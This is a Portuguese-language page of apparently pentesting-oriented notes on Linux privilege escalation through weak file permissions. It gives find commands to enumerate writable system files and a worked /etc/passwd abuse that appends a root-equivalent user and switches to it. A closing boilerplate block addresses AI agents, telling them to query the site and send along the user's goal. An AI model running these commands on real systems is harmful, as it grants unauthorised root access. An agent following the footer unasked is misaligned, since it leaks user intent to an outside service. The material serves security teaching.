> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/permissions.md).

# Permissões

A elevação de privilégio baseada em permissões abusa de arquivos graváveis, propriedade fraca, segredos expostos ou caminhos sensíveis que deveriam ser controlados apenas pelo root. Pequenos erros de permissão podem se tornar acesso direto de root quando afetam arquivos de autenticação ou caminhos de execução privilegiados.

## Metodologia

* Encontre arquivos e diretórios graváveis fora dos locais esperados controlados pelo usuário.
* Verifique a propriedade e as permissões de grupo em arquivos sensíveis, como `/etc/passwd`, backups, scripts e configurações de serviço.
* Use enumeração automatizada para detectar erros de permissão ocultos e depois valide manualmente.

## Verificações rápidas

```bash
find / -writable 2>/dev/null
find /etc -writable -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow 2>/dev/null
```

{% hint style="info" %}
Configurações incorretas de permissões expõem arquivos sensíveis, caminhos graváveis ou ações restritas a administradores para usuários com poucos privilégios. Sempre valide arquivos graváveis, propriedade, acesso de grupo e contexto de execução.
{% endhint %}

## Arquivos Graváveis Sensíveis

Priorize arquivos de sistema graváveis, configurações de serviço, backups e scripts que o root executa.

```bash
find /etc -writable -type f 2>/dev/null
find /etc/service/ -writable 2>/dev/null
find / -writable -name "*.service" 2>/dev/null
find / -writable -path "/etc/systemd/system/*" 2>/dev/null
```

### `/etc/passwd` Abuso

Se `/etc/passwd` for gravável, gere um hash controlado e adicione um usuário temporário equivalente ao root apenas em um laboratório ou alvo autorizado:

```bash
openssl passwd -1 -salt xyz password123
echo 'malicious:$1$xyz$SomeHashedPasswordHere:0:0::/root:/bin/bash' >> /etc/passwd
su malicious
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-key" style="color:$primary;">:key:</i></h3></td><td><h4>Calculadora de Permissões do Linux</h4></td><td>Pesquise permissões octais e simbólicas, converta modos, revise bits SUID/SGID/sticky e priorize o risco de elevação de privilégio.</td><td><a href="/pages/e9919cde80df0f3d52932da2e7bc5f34fb17ee40">/pages/e9919cde80df0f3d52932da2e7bc5f34fb17ee40</a></td></tr><tr><td><h3><i class="fa-magnifying-glass" style="color:$primary;">:magnifying-glass:</i></h3></td><td><h4>Enumeração Inteligente</h4></td><td>Notas da Ferramenta de Enumeração Inteligente para elevação de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação focada em relatórios.</td><td><a href="/pages/3a1912cc1e052b140abb5aea8eb9016c2583eacb">/pages/3a1912cc1e052b140abb5aea8eb9016c2583eacb</a></td></tr><tr><td><h3><i class="fa-shield-halved" style="color:$primary;">:shield-halved:</i></h3></td><td><h4>Abuso de Escrita em /etc/passwd</h4></td><td>Notas de Gerenciamento de Permissões (/etc/passwd) para elevação de privilégio no Linux, com etapas de enumeração, exemplos de exploração e validação focada em relatórios.</td><td><a href="/pages/7a1de2e841de2bd88c85ae58c503aa3db55b0587">/pages/7a1de2e841de2bd88c85ae58c503aa3db55b0587</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/permissions.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
